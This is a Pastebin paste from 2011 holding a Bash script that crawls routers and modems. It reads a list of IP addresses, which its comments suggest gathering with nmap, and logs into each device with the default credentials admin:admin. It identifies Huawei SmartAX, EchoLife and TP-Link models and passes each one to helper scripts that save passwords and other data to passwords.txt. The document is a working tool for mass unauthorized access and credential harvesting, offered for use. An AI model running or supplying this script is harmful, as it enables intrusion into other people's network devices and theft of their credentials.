sxiii

Routers, modems username and password crawler [BODY]

Nov 8th, 2011
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.87 KB | None | 0 0
  1. #!/bin/bash
  2. # NOTE! Look for templates for this script in my pastebin @ pastebin.com/u/sxiii
  3. # you can prepare target list by using nmap with -p80 option, and after make it uniq
  4. # result will be in uniqips.txt file, you can run this script and input the name uniqips.txt when it will be requested
  5.  
  6. savefile=passwords.txt
  7. username=admin
  8. password=admin
  9. x=0
  10.  
  11. echo "This script crawls on gateway, modems, routers etc. using standard passwords and saves all valuable data from them."
  12. echo "By default script uses admin:admin combination to connect to hosts. You can change it in targetscan file."
  13. echo "Currently supported models: Huawei SmartAX MT880; TP-Link; EchoLife."
  14. echo "NOTE: All found passwords are saved in passwords.txt file in current directory!"
  15. echo "Please type-in the name of plain-text file containing IP addresses of gateway devices to gather data from..."
  16.  
  17. read name
  18.  
  19. total=`cat $name | grep -c ""`
  20.  
  21. cat $name | while read target;
  22. do
  23. x=$((x+1))
  24. echo "Trying to recognize target $target... ($x/$total)"
  25. #echo $target >> processed.txt
  26. wget -q -t 1 -T 3 -O index.html http://$target/ --user=admin --password=admin
  27.  
  28. if [[ "`cat index.html | grep -c "SmartAX"`" -gt "0" ]]; then
  29. bash smartax $target $savefile $username $password
  30. echo "Processing target $target (SmartAX)..."
  31. echo "Processing target $target (SmartAX)..." >> processed.txt
  32. fi
  33.  
  34. if [[ "`cat index.html | grep -c "rpSysStatus.html"`" -gt "0" ]]; then
  35. bash echolife $target $savefile $username $password
  36. echo "Processing target $target (EchoLife)..."
  37. echo "Processing target $target (EchoLife)..." >> processed.txt
  38. fi
  39.  
  40. if [[ "`cat index.html | grep -c "status/status_deviceinfo.htm"`" -gt "0" ]]; then
  41. bash tplink $target $savefile $username $password
  42. echo "Processing target $target (TP-Link)..."
  43. echo "Processing target $target (TP-Link)..." >> processed.txt
  44. fi
  45.  
  46. rm index.html
  47.  
  48. done
  49.  
  50.  
  51.  
Advertisement
Add Comment
Please, Sign In to add comment